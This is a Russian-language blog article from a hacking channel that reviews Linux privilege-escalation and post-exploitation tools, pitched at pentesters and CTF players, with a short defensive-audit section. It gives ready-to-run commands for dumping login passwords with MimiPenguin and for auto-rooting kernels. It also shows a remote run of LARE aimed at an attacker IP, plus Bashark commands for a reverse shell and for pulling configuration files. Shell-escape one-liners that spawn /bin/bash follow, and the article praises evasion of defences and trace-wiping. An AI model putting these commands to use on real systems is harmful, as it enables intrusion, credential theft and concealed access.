Повышение привилегий в Linux

Повышение привилегий в Linux

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

В этой статье вас ждет обзор и примеры применения наиболее известных и, что немаловажно, рабочих утилит для повышения привилегий Linux. Я расскажу, как манипулировать системой и стать рутом. Мы также поговорим про защиту и рассмотрим лучшие утилиты для проверки и защиты системы от техник постэксплуатации, которые могут быть полезны, как в защите Linux, так и в пентесте.

Повышение привилегий в Linux

Эскалация — (повышение привилегий) — это эксплуатация уязвимостей в операционной системе или прикладном ПО, позволяющая получить доступ к ресурсам, которые обычно защищены от определенного пользователя. В результате хакер имеет больше привилегий, чем предполагалось разработчиком или системным администратором, и может выполнять несанкционированные действия в целевой системе.

PXEnum

Основная задача данного скрипта — функция перечисления (англ. Enumeration). Он вытаскивает всю доступную информацию о системе. Скрипт создан для настоящих лентяев. Хорошо, если высказаться более политкорректно, то «для тех, кто ценит свое время». Встроенные команды позволяют также угонять хеши паролей, содержание директорий, все сведения о системе, наличие application-серверов, приложений, соединений, юзеров.

Для запуска скрипта не требуются права root, он работает в стандартном терминале. Перед установкой скачиваем инструмент с помощью Wget:

wget https://raw.githubusercontent.com/shawnduong/PXEnum/master/PXEnume.sh

Установка PXEnum:

$ git clone https://github.com/shawnduong/PXEnum.git
$ cd PXEnum/
$ chmod +x PXEnum.sh 
$ bash PXEnum.sh

Другой вариант запуска PXEnum:

$ sh PXEnum.sh

MIDA Multitool

Другой интересный инструмент — MIDA Multitool, созданный на базе менее популярных собратьев SysEnum и RootHelper, но предлагающий гораздо больше возможностей.

По воле разработчика MIDA Multitool объединяет в себе отдельные функции своих предшественников, а именно:

  • SysEnum — Bash-скрипт, предназначенный для получения основной информации о системе, включая следующие данные: текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы;
  • RootHelper — призван помочь в деле эскалации привилегий в системе, которая была скомпрометирована, при помощи выполнения ряда перечислений и использования доверительных сценариев.

Установка MIDA Multitool в систему с GitHub:

$ git clone https://github.com/NullArray/Bash-Kit-Multitool
$ cd Bash-Kit-Multitool
$ chmod +x bashkit.sh

Запускаем скрипта MIDA Multitool :

$ /.bashkit.sh

Вывод некоторой информации по системе:

MimiPenguin

Очень хорошо известный в узких кругах пентестеров скрипт под названием MimiPenguin. Основная задача утилиты — сброс пароля на вход в систему от текущего пользователя Linux (то есть непривилегированного). В некотором роде это аналог утилиты mimikatz для дампа пароля в Windows-системах.

Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), Apache 2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и OpenSSH-сервер (активные подключения SSH с использованием команды sudo). И вообще, необходимо сказать, что MimiPenguin нередко становится частью эксплоитов под Linux, так что тулза очень и очень востребована.

Установка MimiPenguin с репозитория GitHub:

$ git clone https://github.com/huntergregal/mimipenguin

Если у вас еще не установлен GitHub, то используйте эти команды:

$ apt install git       // Debian/Ubuntu systems
$ yum install git       // RHEL/CentOS systems

Переходим в директорию MimiPenguin и запускаем скрипт:

$ cd mimipenguin
$ ls –a
$ chmod +x mimipenguin.sh
$ ./mimipenguin.sh

Auto-Root-Exploit

Сингловый скрипт, созданный для одной-единственной цели — получить права root на текущую учетную запись, под которой он был запущен с помощью эксплуатации известных багов. Поддерживает версии ядра, начиная с Linux Kernel 2.6 и до 4.8.0-41-generic, а также часть ОС семейства *BSD.

Установка Auto-Root-Exploit в систему:

$ git clone https://github.com/nilotpalbiswas/Auto-Root-Exploit
$ cd Auto-Root-Exploit
$ chmod +x autoroot.sh

Проверка версии ядра (для того чтобы выбрать нужный эксплоит-пак):

<span class="pln">$ uname </span><span class="pun">–</span><span class="pln">a</span>

Использование Auto-Root-Exploit:

$ bash autoroot.sh N
for kernel version 2.6 all
bash autoroot.sh 2
 
for kernel version 3 all
bash autoroot.sh 3
 
for kernel version 4 all
bash autoroot.sh 4
 
for freebsd & openbsd all
bash autoroot.sh bsd
 
for apple macos all
bash autoroot.sh app
 
for kernel 2.6,3,4 bsd & app all
bash autoroot.sh all



Создать карусель

LARE

И напоследок еще один довольно простой скрипт, который позволяет с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплоиты для получения root-прав для версий ядра Linux Kernel v2.6 — v4.8.

Кстати, этот инструмент очень часто находит свое применение в различных War Games и CTF-соревнованиях, например hackthebox.gr, или даже на сертификационном экзамене OSCP.

Устанавка LARE в систему:

$ git clone https://github.com/EnigmaDimitri/LARE && cd LARE
$ chmod +x LARA.sh

Пример локального запуска LARE:

$ LARE.sh -a

или

$ ./LARE.sh -a

Запуск скрипта на целевой машине в сети:

$ LARE.sh -l [Attackers-IP]

Запуск на машине с подключением к базе данных эксплоитов на GitHub:

$ LARE.sh -l or ./LARE.sh -l

Проверка и защита системы от техник постэксплуатации

Кроме традиционных мер, таких как установка патчей и минимизация привилегий, безопасность системы дополнительно обеспечивают специальные утилиты для проверки системы. В противовес популярному мнению (согласно которому к постэксплуатации ведут только зиродеи или устаревший софт) к грандиозному факапу ведут и ошибки конфигурации — предоставление избыточных прав доступа, пароли по умолчанию, системные каталоги и файлы в общем доступе, выключенные опции безопасности в программах, работающих из коробки, и прочие огрехи.

Ниже будут представлены утилиты (скрипты) быстрого анализа системы и проверки ее на факт выполнения несанкционированных и потенциально опасных действий со стороны непривилегированных пользователей.

Bashark

Bashark — популярный скрипт, который помогает пентестерам и исследователям в области информационной безопасности тестить возможности управления системой после успешной эксплуатации.

Фирменные фичи и возможности, заявленные разработчиком:

  • быстрый запуск, мгновенная реакция;
  • мультиплатформенность: Unix, OS X, Solaris и другие;
  • отсутствие зависимостей от версии ядра ОС или установленных пакетов;
  • иммунитет к эвристическому и поведенческому анализу (обход средств защиты);
  • встроенные алиасы к популярным командам;
  • расширение стандартной оболочки bash-командами для постэксплуатации;
  • процедура заметания следов после завершения работы (Stealthy);
  • расширяемость — возможность дописывать свои команды и юзать из терминала;
  • поддержка табуляции при наборе команд.

Итак, качаем скрипт Bashark с помощью Git:

$ git clone https://github.com/TheSecondSun/Bashark.git

Переходим в соответствующую директорию и даем права на выполнение:

$ cd Bashark
$ chmod +x bashark.sh

Запускаем Bashark:

$ ./bashark.sh

В чем еще уникальность Bashark? С помощью опции portscan мы можем сканировать внутреннюю сетку из-под одной скомпрометированной машины. Чтобы получить все файлы конфигурации с другой взломанной машины на Linux, можно использовать опцию getconf. Команда позволяет извлекать все файлы конфигурации, хранящиеся в каталоге /etc. Точно так же легко и просто можно использовать опцию getprem для просмотра всех двоичных файлов на целевой системе.

Сканируем удаленную машину с помощью Bashark:

$ portscan <target’s IP>

Получаем конфиги:

$ getconf

Получаем файлы:

$ getprem

Получаем реверс-шелл:

$ revshell <target’s IP> <Port 31337>

Еще одна приятная мелочь — это фича самоочистки (удаления следов работы в системе). Например, если вы создавали файлы или каталоги во время работы в контексте Bashark с помощью опции -t (создать файл) или -mkd (создать каталог), подпрограмма quit (то есть завершение работы) будет активировать директиву cleanup, затирающую все следы присутствия в системе.

LinEnum

Данный скрипт представляет собой экспресс-тест по таким позициям, как Kernel and distribution release details, System Information, Privileged access, Jobs/Tasks, Services, Default/Weak Credentials, Searches, Platform/software specific tests.

Скрипт LinEnum успешно протестирован на различных версиях дистрибутивов Ubuntu, Debian, Red Hat и CentOS. Программа не ищет и не пытается выполнять эксплоиты, как некоторые другие аналогичные рассмотренные в статье инструменты повышения привилегий в Linux, — она только собирает информацию и делает проверки возможных векторов эскалации привилегий.

Установка LinEnum в систему:

$ git clone https://github.com/rebootuser/LinEnum
$ cd LinEnum/

Простой запуск с вызовом списка ключей:

$ ./LinEnum.sh

Пример запуска LinEnum с опциями (ключами):

$ ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

Описание ключей LinEnum:

  • -k — ввести ключевое слово
  • -e — указать директорию для экспорта отчета
  • -t — включить в отчет «длинные» тесты (дополнительные тесты)
  • -s — произвести проверку эскалации текущей учетки sudo perms
  • -r — задать имя итогового отчета
  • -h — вызвать встроенную справку по программе
  • -k — опциональный переключатель, с которым можно указать ключевое слово для поиска файлов по нескольким расширениям

Запуск без опций означает ограниченное сканирование без файла вывода.



Создать карусель

LinuxPrivChecker

Еще один полезный в эскалации привилегий скрипт, написанный на Python. Этот инструмент предназначен для локального выполнения в системе с целью перечисления базовой системной информации и поиска общих векторов повышения привилегий, таких как общедоступные файлы, неверные конфигурации демонов и библиотек, пароли, хранимые в виде открытого текста, и баги, соответствующие наиболее популярным эксплоитам.

Основные области проверки:

  • основная информация о системе (ОС, ядро, имя системы и так далее);
  • информация о сети (ifconfig, route, netstat и т. д.);
  • разная информация о файловой системе (mount, fstab, cron jobs);
  • информация о пользователе (текущий пользователь, все пользователи, суперпользователи, история команд);
  • права доступа к файлам и каталогам (доступные для записи файлы/каталоги, файлы suid, корневой домашний каталог);
  • файлы, содержащие незашифрованные пароли;
  • интересные файлы, процессы и приложения (все процессы и пакеты, все процессы, запускаемые пользователем root и связанные пакеты, версия sudo, файл конфигурации Apache);
  • все установленные языки и инструменты (GCC, Perl, Python, Nmap, Netcat, Wget, FTP и так далее);
  • все соответствующие эксплоиты повышения привилегий (с использованием базы данных эксплоитов с применимыми версиями ядра, пакетами/процессами программного обеспечения).

Проверка на эскалацию привилегий производится в следующих программах:

nmap
-interactive
 
vi
:!bash
:set shell=/bin/bash:shell
 
awk
awk ‘BEGIN {system(“/bin/bash”)}’
 
find
find / -exec /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’ \;
 
perl
perl -e ‘exec “/bin/bash”;’

Итак, качаем скрипт LinuxPrivChecker:

$ wget http://www.securitysift.com/download/linuxprivchecker.py

Запускаем LinuxPrivChecker с помощью всего лишь одной команды:

$ chmod +x linuxprivchecker.py
$ ./linuxprivchecker.py

Или другой вариант запуска LinuxPrivChecker:

$ python linuxprivchecker.py

Unix-privesc-check

Unix-privesc-checker — это мощный скрипт, работающий в Unix-системах (протестирован на Solaris 9, HPUX 11, различных Linux 3.х и FreeBSD 6.2+). После запуска скрипт пытается найти неправильные твики конфигурации системы, процессы, которые могут позволить локальным непривилегированным пользователям повышать привилегии других юзеров или получать доступ к локальным приложениям, например базам данных MySQL.

Основные области проверки:

  • слабые пароли и значения по умолчанию;
  • конфигурация стека IP (без ненужного использования IPv6, без форвардинга IP-пакетов и так далее);
  • некорректные права доступа к файлам (чтение/изменение конфиденциальных данных);
  • настройка локальных приложений (просмотр sshd_confighttpd.conf);
  • другие полезные вещи (например, удаленное ведение журнала, использование небезопасных протоколов TCP/IP).

Основное внимание разработчики данного скрипта уделяют проверке на предмет распространенных ошибок в конфигурации системы и некорректно настроенных разрешений на доступ к директориям и файлам. Важно отметить, что скрипт не проверяет наличие отсутствующих патчей для ядра ОС или установленных пакетов, но это и не его задача, ведь для ее решения существуют более сложные утилиты, о которых мы рассказывали в нашем предыдущем материале про аудит Linux.

Скрипт может запускаться как от имени обычного пользователя, так и от имени root. В последнем случае у скрипта больше привилегий и он может выполнить ряд тестов, недоступных из-под учетной записи непривилегированного пользователя. Для регулярного мониторинга запуск скрипта можно прописать как задание cron.

Пример запуска скрипта Unix-privesc-check:

$ ./unix-privesc-check > output.txt

Полезные ссылки

Поскольку объем нашей статьи не умещает всего, что еще можно было сказать по заявленной теме, вам, предоставляется счастливая возможность попрактиковаться в самостоятельном изучении и заценить вот этот список дополнительных материалов.

  • Linux Post Exploitation Command List — шпаргалка по основным командам постэксплуатации, которые можно самостоятельно вводить в терминале. Ничего необычного, стандартные команды, известные любому мало-мальски знающему Linux пользователю.
  • Post Exploitation Collection — репозиторий GitHub, представляющий собой огромную коллекцию трюков постэксплуатации для Windows, Linux, Mac, *BSD, а также .msf4 & Metasploit scripts.
  • Basic Linux Privilege Escalation — одностраничный гайд по основным векторам атак на фазе постэксплуатации.
  • GitBook Post Exploitation — лютый GitBook по теме Privilege Escalation. Рассматривается куча техник эксплуатации: Kernel exploits, Programs running as root, Inside service, Suid misconfiguration, Abusing sudo-rights, Bad path configuration, Cronjob, Unmounted filesystems. Примеры готовых скриптов на Python.
  • Cheeat map — еще один вариант хендбука по теме постэксплуатации с примерами команд и кода на скриптовых языках.

Заключение

Сегодня в материале мы рассмотрели самые популярные и, главное, рабочие инструменты, которые используются в фазе постэксплуатации. Приведенный набор инструментов пригодится как участникам War Games и различных CTF-соревнований, так и опытным пентестерам, проверяющим на прочность безопасность корпоративного периметра. Также в нашем обзоре мы привели еще несколько утилит, которые позволят прочекать доверенные вам системы на факт возможности повышения привилегий Linux и использования других техник постэксплуатации. Теперь вы вооружены!

Источник


Report Page